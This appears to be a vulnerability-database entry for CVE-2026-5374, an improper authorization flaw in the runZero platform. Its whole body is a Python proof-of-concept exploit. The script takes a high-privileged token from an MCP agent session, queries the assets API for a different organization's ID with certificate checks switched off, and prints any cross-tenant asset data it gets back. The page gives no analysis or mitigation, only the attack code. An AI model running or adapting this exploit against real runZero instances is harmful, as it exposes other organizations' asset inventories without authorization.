CVE-2026-5374 runZero平台不正确的授权漏洞

import requests # Target URL (Example) target_url = "https://target-runzero-instance/api/v1.0/assets" # Auth token obtained from a high-privileged MCP agent session auth_token = "HIGH_PRIVILEGED_TOKEN_HERE" # Headers headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Payload: Attempt to access an asset ID belonging to a different organization # In a vulnerable version, the system might not validate the org_id context malicious_payload = { "search": "org_id:TARGET_EXTERNAL_ORG_ID" } try: # Sending the request response = requests.post(target_url, json=malicious_payload, headers=headers, verify=False) # Check if unauthorized data is returned if response.status_code == 200: print("[+] Exploit Successful! Leaked Asset Data:") print(response.json()) else: print("[-] Exploit Failed or Patched.") except Exception as e: print(f"Error: {e}")